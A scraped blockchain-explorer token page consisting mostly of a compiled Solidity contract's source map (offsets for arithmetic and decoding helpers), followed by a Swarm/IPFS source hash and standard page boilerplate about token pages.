:1;::::0;:66:::1;::::0;:196:::1;::::0;10669:11;;10588:15:::1;::::0;10711:4;;10738::::1;::::0;10758:15:::1;::::0;10588:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5322:6:0;:14;;-1:-1:-1;;;;5322:14:0;;;-1:-1:-1;;;;10309:483:0:o;11025:92::-;11082:10;;:27;;-1:-1:-1;;;;;11082:10:0;;;;:27;;;;;11102:6;;11082:10;:27;:10;:27;11102:6;11082:10;:27;;;;;;;;;;;;;;;;;;;1720:246;1778:7;1802:1;1807;1802:6;1798:47;;-1:-1:-1;1832:1:0;1825:8;;1798:47;1855:9;1867:5;1871:1;1867;:5;:::i;:::-;1855:17;-1:-1:-1;1900:1:0;1891:5;1895:1;1855:17;1891:5;:::i;:::-;:10;1883:56;;;;-1:-1:-1;;;1883:56:0;;14220:2:1;1883:56:0;;;14202:21:1;14259:2;14239:18;;;14232:30;14298:34;14278:18;;;14271:62;-1:-1:-1;;;14349:18:1;;;14342:31;14390:19;;1883:56:0;14018:397:1;1883:56:0;1957:1;1720:246;-1:-1:-1;;;1720:246:0:o;1974:132::-;2032:7;2059:39;2063:1;2066;2059:39;;;;;;;;;;;;;;;;;:3;:39::i;10194:107::-;10251:7;10283:1;10279;:5;10278:15;;10292:1;10278:15;;;-1:-1:-1;10288:1:0;10194:107;-1:-1:-1;10194:107:0:o;1157:179::-;1215:7;;1247:5;1251:1;1247;:5;:::i;:::-;1235:17;;1276:1;1271;:6;;1263:46;;;;-1:-1:-1;;;1263:46:0;;14622:2:1;1263:46:0;;;14604:21:1;14661:2;14641:18;;;14634:30;14700:29;14680:18;;;14673:57;14747:18;;1263:46:0;14420:351:1;1344:136:0;1402:7;1429:43;1433:1;1436;1429:43;;;;;;;;;;;;;;;;;:3;:43::i;2114:223::-;2234:7;2269:12;2262:5;2254:28;;;;-1:-1:-1;;;2254:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2293:9:0;2305:5;2309:1;2305;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:416;3355:1;3392:5;3355:1;3406:270;3427:7;3417:8;3414:21;3406:270;;;3486:4;3482:1;3478:6;3474:17;3468:4;3465:27;3462:53;;;3495:18;;:::i;:::-;3545:7;3535:8;3531:22;3528:55;;;3565:16;;;;3528:55;3644:22;;;;3604:15;;;;3406:270;;;3410:3;3266:416;;;;;:::o;3687:806::-;3736:5;3766:8;3756:80;;-1:-1:-1;3807:1:1;3821:5;;3756:80;3855:4;3845:76;;-1:-1:-1;3892:1:1;3906:5;;3845:76;3937:4;3955:1;3950:59;;;;4023:1;4018:130;;;;3930:218;;3950:59;3980:1;3971:10;;3994:5;;;4018:130;4055:3;4045:8;4042:17;4039:43;;;4062:18;;:::i;:::-;-1:-1:-1;;4118:1:1;4104:16;;4133:5;;3930:218;;4232:2;4222:8;4219:16;4213:3;4207:4;4204:13;4200:36;4194:2;4184:8;4181:16;4176:2;4170:4;4167:12;4163:35;4160:77;4157:159;;;-1:-1:-1;4269:19:1;;;4301:5;;4157:159;4348:34;4373:8;4367:4;4348:34;:::i;:::-;4418:6;4414:1;4410:6;4406:19;4397:7;4394:32;4391:58;;;4429:18;;:::i;:::-;4467:20;;3687:806;-1:-1:-1;;;3687:806:1:o;4498:140::-;4556:5;4585:47;4626:4;4616:8;4612:19;4606:4;4585:47;:::i;4643:168::-;4716:9;;;4747;;4764:15;;;4758:22;;4744:37;4734:71;;4785:18;;:::i;4816:356::-;5018:2;5000:21;;;5037:18;;;5030:30;5096:34;5091:2;5076:18;;5069:62;5163:2;5148:18;;4816:356::o;5177:184::-;5247:6;5300:2;5288:9;5279:7;5275:23;5271:32;5268:52;;;5316:1;5313;5306:12;5268:52;-1:-1:-1;5339:16:1;;5177:184;-1:-1:-1;5177:184:1:o;5992:277::-;6059:6;6112:2;6100:9;6091:7;6087:23;6083:32;6080:52;;;6128:1;6125;6118:12;6080:52;6160:9;6154:16;6213:5;6206:13;6199:21;6192:5;6189:32;6179:60;;6235:1;6232;6225:12;6977:251;7047:6;7100:2;7088:9;7079:7;7075:23;7071:32;7068:52;;;7116:1;7113;7106:12;7068:52;7148:9;7142:16;7167:31;7192:5;7167:31;:::i;8745:306::-;8833:6;8841;8849;8902:2;8890:9;8881:7;8877:23;8873:32;8870:52;;;8918:1;8915;8908:12;8870:52;8947:9;8941:16;8931:26;;8997:2;8986:9;8982:18;8976:25;8966:35;;9041:2;9030:9;9026:18;9020:25;9010:35;;8745:306;;;;;:::o;11789:125::-;11854:9;;;11875:10;;;11872:36;;;11888:18;;:::i;12274:135::-;12313:3;12334:17;;;12331:43;;12354:18;;:::i;:::-;-1:-1:-1;12401:1:1;12390:13;;12274:135::o;12414:128::-;12481:9;;;12502:11;;;12499:37;;;12516:18;;:::i;12679:127::-;12740:10;12735:3;12731:20;12728:1;12721:31;12771:4;12768:1;12761:15;12795:4;12792:1;12785:15;12811:980;13073:4;13121:3;13110:9;13106:19;13152:6;13141:9;13134:25;13178:2;13216:6;13211:2;13200:9;13196:18;13189:34;13259:3;13254:2;13243:9;13239:18;13232:31;13283:6;13318;13312:13;13349:6;13341;13334:22;13387:3;13376:9;13372:19;13365:26;;13426:2;13418:6;13414:15;13400:29;;13447:1;13457:195;13471:6;13468:1;13465:13;13457:195;;;13536:13;;-1:-1:-1;;;;;13532:39:1;13520:52;;13627:15;;;;13592:12;;;;13568:1;13486:9;13457:195;;;-1:-1:-1;;;;;;;13708:32:1;;;;13703:2;13688:18;;13681:60;-1:-1:-1;;;13772:3:1;13757:19;13750:35;13669:3;12811:980;-1:-1:-1;;;12811:980:1:o;13796:217::-;13836:1;13862;13852:132;;13906:10;13901:3;13897:20;13894:1;13887:31;13941:4;13938:1;13931:15;13969:4;13966:1;13959:15;13852:132;-1:-1:-1;13998:9:1;;13796:217::o
Swarm Source
ipfs://c324a8c631e82143fcab1fdb58163b644f3c997e0fd9b6b4df11d3c0e52a50b4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.